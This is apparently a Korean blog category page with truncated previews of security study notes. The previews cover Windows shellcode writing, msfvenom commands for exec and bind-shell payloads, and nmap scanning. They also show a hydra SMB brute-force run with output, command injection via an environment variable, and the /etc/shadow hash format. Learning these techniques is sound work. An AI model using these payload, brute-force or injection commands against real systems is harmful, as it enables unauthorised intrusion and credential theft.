목록Study/시스템 (30)
메모장 입니다2
1.순서 1)코딩 #include int main(){char cmd[] = {'c','m','d', '\0'};WinExec(cmd, SW_SHOW);ExitProcess(1); 2)디버깅 모드로 실행 후 디스어셈블리 창 확인 3)바이트 코드 추출. 2.주의사항 -주소가 바뀔 수 있음.->동적으로 주소를 찾아내는 방식의 쉘코드를 제작. -널바이트 제거해야함. 3.자동화 툴 이용 -msfvenom을 이용하여 생성 가능. -생성해보기1)exec 명령어 실행msfvenom -p windows/exec cmd=calc.exe text=exploit -a x86 -f c 2)포트 바인딩msfvenom -p windows/shell_bind_tcp lport=7777 -f c 3)리버스 커넥션 msfvenom -..
1.NMAP -네트워크 스캔 툴 -sP [네트워크/서브넷]: 핑을 이용한 스캔*아이패드나 핸드폰은 스캔이 되지 않음. (ping을 직접 해보면 잘 되는데) 이유가 뭐지?? -sn -sC [호스트]: 자세히 2.HYDRA -브루드포스 공격 툴 -윈도우 암호 크래킹 # hydra -l j -P pass.txt 192.168.0.4 smbHydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-05 04:57:05[INFO] Reduced number of tasks to 1 (smb does not like parallel..
1. 디렉토리 전송 scp -r $web root@192.168.0.6:/home -r Recursively copy entire directories. Note that scp follows symbolic links encountered in the tree traversal. :반복적으로 복사한다/전체 디렉토리를. 메모: scp는 따른다 심볼릭링크를/ 발견된 트리 탐색에서. $web: 복사할 대상 디렉토리 경로 ($web은 내가 환경변수 설정한 것일뿐)/home: dest 호스트의 전송받을 경로. *vnc가 disable 되있어야 scp가 가능하다.
1.선출처 http://ngee.tistory.com/199 2.순서 1)설치apt-get install tomcat7 tomcat7-admin apt-get install apache2apt-get install libapache2-mod-jk 2)설정 변경vi /etc/libapache2-mod-jk/workers.properties workers.tomcat_home=/usr/share/tomcat7 ## workers.java_home should point to your Java installation. Normally# you should have a bin and lib directories beneath it.#workers.java_home=/usr/lib/jvm/java-7-openjd..
\${환경변수 이름} ex) #export x="echo AAAA"; //test.csystem("\${x}"); #./testAAAA //echo AAAA 실행됨.
user:$6$QlRlqGhj$BZoS9PuMMRHZZXz1Gde99W01u3kD9nP/zYtl8O2dsshdnwsJT/1lZXsLar8asQZpqTAioiey4rKVpsLm/bqrX/:15427:0:99999:7::: :로 구분. 1) 유저명2) $로 구분. $1) 암호화 방법 *암호화엔 crypt() 알고리즘이 사용되서 실제 암호화된 값의 길이는 표와 다름.(위의 해쉬 결과에서 추가적인 암호화 과정을 거치는듯) > id 값에 따라 달라지는데 MD5는 22, SHA-256는 53, SHA-512는 86.[출처] 리ㄹㅇㄹㄴㅇ ㅇㄴㅁㅁㄴㄹㄴㅇㄹ눅스 계정 비밀번호 해싱 방법 crypt(3)-_-|작성자 안재 *crypt 정의. #include char *crypt(const char *key, const c..